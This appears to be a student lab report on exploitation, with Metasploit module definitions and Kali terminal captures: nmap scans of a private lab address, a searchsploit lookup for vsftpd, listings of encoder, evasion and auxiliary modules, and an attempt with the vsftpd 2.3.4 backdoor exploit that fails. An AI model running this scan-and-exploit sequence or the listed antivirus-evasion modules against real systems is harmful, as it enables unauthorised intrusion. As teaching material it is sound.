

CYBER SECURITY

Miniproject on Exploitation

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Exploitation

What is Exploitation?

Exploitation in cybersecurity is the act of taking advantage of a system's vulnerability to gain unauthorized access or perform malicious actions. It often involves using specific tools or code (called exploits) to compromise data, control systems, or disrupt services. Common goals include stealing information, escalating privileges, or spreading malware.

Modules of Exploitation

1. Exploit:

Code that takes advantage of a specific vulnerability to gain access to a system.

2. Auxiliary:

Tools for scanning, fuzzing, sniffing, or other support functions that don't exploit vulnerabilities directly.

3. Encodes

Obfuscate or modify payloads to avoid detection by antivirus or intrusion detection systems.

4. Post Exploitation:

Actions taken after gaining access, such as privilege escalation, data extraction, or maintaining persistence.

5. Evasion:

Techniques and modules designed to bypass security defenses like firewalls or antivirus software.

```
kali@kali: ~  
—(kali@kali)-[~]  
- $ msfconsole ---help  
ERROR: Invalid command line option provided.  
sage: msfconsole [options]  
  
Common options:  
  -E, --environment ENVIRONMENT  Set Rails environment, defaults to RAIL_ENV environment variable or 'production'  
  
Database options:  
  -M, --migration-path DIRECTORY  Specify a directory containing additional DB migrations  
  -n, --no-database                Disable database support  
  -y, --yaml PATH                  Specify a YAML file containing database settings  
  
Framework options:  
  -c FILE                          Load the specified configuration file  
  -v, -V, --version                Show version  
  
Module options:  
  --[no-]defer-module-loads        Defer module loading unless explicitly asked  
  -m, --module-path DIRECTORY      Load an additional module path  
  
Console options:  
  -a, --ask                        Ask before exiting Metasploit or accept 'exit -y'  
  -H, --history-file FILE          Save command history to the specified file  
  -l, --logger STRING              Specify a logger to use (TimestampColorlessFlatfile, Flatfile, Stderr, Stdout, StdoutWithoutTimestamps)
```



```
kali@kali: ~  
kali@kali: ~  
kali@kali: ~  
(kali@kali)-[~]  
$ service postgresql status  
○ postgresql.service - PostgreSQL RDBMS  
   Loaded: loaded (/usr/lib/systemd/system/postgresql.service; disabled; preset: disabled)  
   Active: inactive (dead)
```

```
(kali@kali)-[~]  
$ service postgresql start
```

Check the status of the service if it is active or not

```
(kali@kali)-[~]  
$ service postgresql status  
● postgresql.service - PostgreSQL RDBMS  
   Loaded: loaded (/usr/lib/systemd/system/postgresql.service; disabled; preset: disabled)  
   Active: active (exited) since Mon 2025-04-14 09:41:07 CDT; 24s ago  
 Invocation: 6475d6147d504f70ad4cac3d5afe453f  
   Process: 2702 ExecStart=/bin/true (code=exited, status=0/SUCCESS)  
   Main PID: 2702 (code=exited, status=0/SUCCESS)  
  
Apr 14 09:41:07 kali systemd[1]: Starting postgresql.service - PostgreSQL RDBMS...  
Apr 14 09:41:07 kali systemd[1]: Finished postgresql.service - PostgreSQL RDBMS.
```

```
kali@kali: ~  
  
kali@kali: ~  
  
(kali@kali)-[~]  
$ sudo nmap -sV -ss -p 1-1000 -vv -O 192.168.80.128  
[sudo] password for kali:  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 09:50 CDT  
NSE: Loaded 46 scripts for scanning.  
Initiating ARP Ping Scan at 09:50  
Scanning 192.168.80.128 [1 port]  
Completed ARP Ping Scan at 09:50, 0.04s elapsed (1 total hosts)  
Initiating Parallel DNS resolution of 1 host. at 09:50  
Completed Parallel DNS resolution of 1 host. at 09:50, 2.01s elapsed  
Initiating SYN Stealth Scan at 09:50  
Scanning 192.168.80.128 [1000 ports]  
Discovered open port 23/tcp on 192.168.80.128  
Discovered open port 25/tcp on 192.168.80.128  
Discovered open port 111/tcp on 192.168.80.128  
Discovered open port 445/tcp on 192.168.80.128  
Discovered open port 21/tcp on 192.168.80.128  
Discovered open port 139/tcp on 192.168.80.128  
Discovered open port 53/tcp on 192.168.80.128  
Discovered open port 22/tcp on 192.168.80.128  
Discovered open port 80/tcp on 192.168.80.128  
Discovered open port 512/tcp on 192.168.80.128  
Discovered open port 513/tcp on 192.168.80.128  
Discovered open port 514/tcp on 192.168.80.128  
Completed SYN Stealth Scan at 09:50, 0.13s elapsed (1000 total ports)  
Initiating Service scan at 09:50  
Scanning 12 services on 192.168.80.128
```

```
kali@kali: ~  
  
kali@kali: ~  
  
(kali@kali)-[~]  
$ sudo nmap -ss 192.168.80.128 -p 1-1000 -sV -vv  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 09:51 CDT  
NSE: Loaded 46 scripts for scanning.  
Initiating ARP Ping Scan at 09:51  
Scanning 192.168.80.128 [1 port]  
Completed ARP Ping Scan at 09:51, 0.04s elapsed (1 total hosts)  
Initiating Parallel DNS resolution of 1 host. at 09:51  
Completed Parallel DNS resolution of 1 host. at 09:51, 2.08s elapsed  
Initiating SYN Stealth Scan at 09:51  
Scanning 192.168.80.128 [1000 ports]  
Discovered open port 139/tcp on 192.168.80.128  
Discovered open port 21/tcp on 192.168.80.128  
Discovered open port 23/tcp on 192.168.80.128  
Discovered open port 445/tcp on 192.168.80.128  
Discovered open port 53/tcp on 192.168.80.128  
Discovered open port 22/tcp on 192.168.80.128  
Discovered open port 111/tcp on 192.168.80.128  
Discovered open port 80/tcp on 192.168.80.128  
Discovered open port 25/tcp on 192.168.80.128  
Discovered open port 512/tcp on 192.168.80.128  
Discovered open port 514/tcp on 192.168.80.128  
Discovered open port 513/tcp on 192.168.80.128  
Completed SYN Stealth Scan at 09:52, 1.24s elapsed (1000 total ports)  
Initiating Service scan at 09:52  
Scanning 12 services on 192.168.80.128  
Completed Service scan at 09:52, 11.02s elapsed (12 services on 1 host)
```

```
(kali@kali)-[~]  
$ searchsploit vsftpd
```

Exploit Title	Path
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption	linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)	windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)	windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service	linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service	multiple/remote/49719.py

```
Shellcodes: No Results
```



kali@kali: ~



kali@kali: ~

kali@kali: ~

```
sf6 > search payloads
```

```
atching Modules
```

```
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/webapp/awstats_migrate_exec	2006-05-04	excellent	Yes	AWStats migrate Remote Command Execution
1	exploit/linux/http/alcatel_omnipcx_mastercgi_exec	2007-09-09	manual	No	Alcatel-Lucent OmniPCX Enterprise master
2	encoder/x86/alpha_mixed	.	low	No	Alpha2 Alphanumeric Mixedcase Encoder
3	encoder/x86/alpha_upper	.	low	No	Alpha2 Alphanumeric Uppercase Encoder
4	exploit/multi/http/struts2_namespace_ognl	2018-08-22	excellent	Yes	Apache Struts 2 Namespace Redirect OGNL

```
njection
```

5	_ target: Automatic detection	.	.	.	.
6	_ target: Windows	.	.	.	.
7	_ target: Linux	.	.	.	.

No results from search
msf6 > show encoders

Encoders

=====

#	Name	Disclosure Date	Rank	Check	Description
-	----	-----	----	-----	-----
0	encoder/cmd/base64	.	good	No	Base64 Command Encoder
1	encoder/cmd/brace	.	low	No	Bash Brace Expansion Command E
2	encoder/cmd/echo	.	good	No	Echo Command Encoder
3	encoder/cmd/generic_sh	.	manual	No	Generic Shell Variable Substit
4	encoder/cmd/ifs	.	low	No	Bourne \${IFS} Substitution Com
5	encoder/cmd/perl	.	normal	No	Perl Command Encoder
6	encoder/cmd/powershell_base64	.	excellent	No	Powershell Base64 Command Enco
7	encoder/cmd/printf_php_mq	.	manual	No	printf(1) via PHP magic_quotes
8	encoder/generic/eicar	.	manual	No	The EICAR Encoder
9	encoder/generic/none	.	normal	No	The "none" Encoder
10	encoder/mipsbe/byte_xori	.	normal	No	Byte XORi Encoder
11	encoder/mipsbe/longxor	.	normal	No	XOR Encoder
12	encoder/mipsle/byte_xori	.	normal	No	Byte XORi Encoder
13	encoder/mipsle/longxor	.	normal	No	XOR Encoder

msf6 > show nops

NOP Generators

=====

#	Name	Disclosure Date	Rank	Check	Description
-	----	-----	----	-----	-----
0	nop/aarch64/simple	.	normal	No	Simple
1	nop/armle/simple	.	normal	No	Simple
2	nop/cmd/generic	.	normal	No	Generic Command Nop Generator
3	nop/mipsbe/better	.	normal	No	Better
4	nop/php/generic	.	normal	No	PHP Nop Generator
5	nop/ppc/simple	.	normal	No	Simple
6	nop/sparc/random	.	normal	No	SPARC NOP Generator
7	nop/tty/generic	.	normal	No	TTY Nop Generator
8	nop/x64/simple	.	normal	No	Simple
9	nop/x86/opty2	.	normal	No	Opty2
10	nop/x86/single_byte	.	normal	No	Single Byte


```
kali@kali: ~  
msf6 > show evasion  
  
Evasion  
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	evasion/windows/applocker_evasion_install_util	.	normal	No	Applocker Evasion - .NET Framework Installation Utility
1	evasion/windows/applocker_evasion_msbuild	.	normal	No	Applocker Evasion - MSBuild
2	evasion/windows/applocker_evasion_presentationhost	.	normal	No	Applocker Evasion - Windows Presentation Foundation Host
3	evasion/windows/applocker_evasion_regasm_regsvcs	.	normal	No	Applocker Evasion - Microsoft .NET Assembly Registration Utility
4	evasion/windows/applocker_evasion_workflow_compiler	.	normal	No	Applocker Evasion - Microsoft Workflow Compiler
5	evasion/windows/process_herpaderping	.	normal	No	Process Herpaderping evasion technique
6	evasion/windows/syscall_inject	.	normal	No	Direct windows syscall evasion technique
7	evasion/windows/windows_defender_exe	.	normal	No	Microsoft Windows Defender Evasive Executable
8	evasion/windows/windows_defender_js_hta	.	normal	No	Microsoft Windows Defender Evasive JS.Net and HTA

```
kali@kali: ~  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > show auxiliary  
  
Auxiliary  
=====
```

#	Name	Disclosure Date	Rank	Check
0	auxiliary/admin/2wire/xslt_password_reset	2007-08-15	normal	No
1	auxiliary/admin/android/google_play_store_uxss_xframe_rce	.	normal	No
2	auxiliary/admin/appletv/appletv_display_image	.	normal	No
3	auxiliary/admin/appletv/appletv_display_video	.	normal	No
4	auxiliary/admin/atg/atg_client	.	normal	No
5	auxiliary/admin/aws/aws_launch_instances	.	normal	No
6	auxiliary/admin/backupexec/dump	.	normal	No

```
kali@kali: ~  
msf6 > search vsftpd  
  
Matching Modules  
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

```
kali@kali: ~  
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor  
msf6 > info 1  
  
Name: VSFTPD v2.3.4 Backdoor Command Execution  
Module: exploit/unix/ftp/vsftpd_234_backdoor  
Platform: Unix  
Arch: cmd  
Privileged: Yes  
License: Metasploit Framework License (BSD)  
Rank: Excellent  
Disclosed: 2011-07-03  
  
Provided by:  
hdm <x@hdm.io>  
MC <mc@metasploit.com>  
  
Available targets:  
Id Name  
-- --  
=> 0 Automatic  
  
Check supported:  
No
```



```
kali@kali: ~  
msf6 > use 1  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/unix/ftp/vsftpd_234_backdoor  
[*] Using configured payload cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  
  
Name      Current Setting  Required  Description  
----      -  
RHOSTS    yes             The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT     21             The target port (TCP)  
  
Exploit target:  
  
Id  Name  
--  -  
0   Automatic  
  
View the full module info with the info, or info -d command.
```

```
kali@kali: ~  
[*] Using configured payload cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  
  
Name      Current Setting  Required  Description  
----      -  
RHOSTS    yes             The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT     21             The target port (TCP)  
  
Exploit target:  
  
Id  Name  
--  -  
0   Automatic  
  
View the full module info with the info, or info -d command.  
  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.80.128  
RHOSTS => 192.168.80.128  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
```



```
kali@kali: ~  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  


| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS  | 192.168.80.129  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |

  
Exploit target:  


| Id | Name      |
|----|-----------|
| 0  | Automatic |

  
View the full module info with the info, or info -d command.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
```

```
kali@kali: ~  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run  
[-] 192.168.80.129:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.168.80.129:21).  
[*] Exploit completed, but no session was created.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions 1  
[-] Invalid session identifier: 1  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > back  
msf6 > ifconfig  
[*] exec: ifconfig  
  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.80.129 netmask 255.255.255.0 broadcast 192.168.80.255  
    inet6 fe80::20c:29ff:fe47:d010 prefixlen 64 scopeid 0x20<link>  
    ether 00:0c:29:47:d0:10 txqueuelen 1000 (Ethernet)  
    RX packets 790 bytes 81162 (79.2 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 119 bytes 29518 (28.8 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
    device interrupt 19 base 0x2000  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet 127.0.0.1 netmask 255.0.0.0  
    inet6 ::1 prefixlen 128 scopeid 0x10<host>  
    loop txqueuelen 1000 (Local Loopback)
```



```
kali@kali: ~  
msf6 > set RHOSTS 192.168.80.129  
RHOSTS => 192.168.80.129  
msf6 > show options  
  
Global Options:  
=====
```

Option	Current Setting	Description
ConsoleLogging	false	Log all console input and output
LogLevel	0	Verbosity of logs (default 0, max 3)
MeterpreterPrompt	<u>meterpreter</u>	The meterpreter prompt string
MinimumRank	0	The minimum rank of exploits that will run without explicit confirmation
Prompt	msf6	The prompt string
PromptChar	>	The prompt character
PromptTimeFormat	%Y-%m-%d %H:%M:%S	Format for timestamp escapes in prompts
SessionLogging	false	Log all input and output for sessions
SessionTlvLogging	false	Log all incoming and outgoing TLV packets
TimestampOutput	false	Prefix all console output with a timestamp

```
msf6 > run  
[-] Unknown command: run. Run the help command for more details.  
msf6 > sessions 1
```

```
kali@kali: ~  
kali@kali: ~  
kali@kali: ~  
$ uname -a  
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64 GNU/Linux  
  
kali@kali: ~  
$ whoami  
kali  
  
kali@kali: ~  
$ if  
if>  
if>  
  
if>  
if>  
  
kali@kali: ~  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
inet 192.168.80.129 netmask 255.255.255.0 broadcast 192.168.80.255  
inet6 fe80::20c:29ff:fe47:d010 prefixlen 64 scopeid 0x20<link>  
ether 00:0c:29:47:d0:10 txqueuelen 1000 (Ethernet)  
RX packets 659 bytes 72102 (70.4 KiB)  
RX errors 0 dropped 0 overruns 0 frame 0  
TX packets 105 bytes 28504 (27.8 KiB)
```

```
kali@kali: ~  
kali@kali: ~  
kali@kali: ~  
(kali@kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.80.129 netmask 255.255.255.0 broadcast 192.168.80.255  
    inet6 fe80::20c:29ff:fe47:d010 prefixlen 64 scopeid 0x20<link>  
    ether 00:0c:29:47:d0:10 txqueuelen 1000 (Ethernet)  
    RX packets 659 bytes 72102 (70.4 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 105 bytes 28504 (27.8 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
    device interrupt 19 base 0x2000  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet 127.0.0.1 netmask 255.0.0.0  
    inet6 ::1 prefixlen 128 scopeid 0x10<host>  
    loop txqueuelen 1000 (Local Loopback)  
    RX packets 24 bytes 1440 (1.4 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 24 bytes 1440 (1.4 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
(kali@kali)-[~]  
$
```


Brute Force Attack

A Brute Force Attack is a hacking method used to gain access to accounts, passwords, or encryption keys by systematically trying all possible combinations until the correct one is found.

DOS Attack

A DoS (Denial of Service) Attack is a cyberattack that floods a server or network with excessive traffic, making it slow or completely unavailable to real users. It's like jamming a phone line so no one else can call.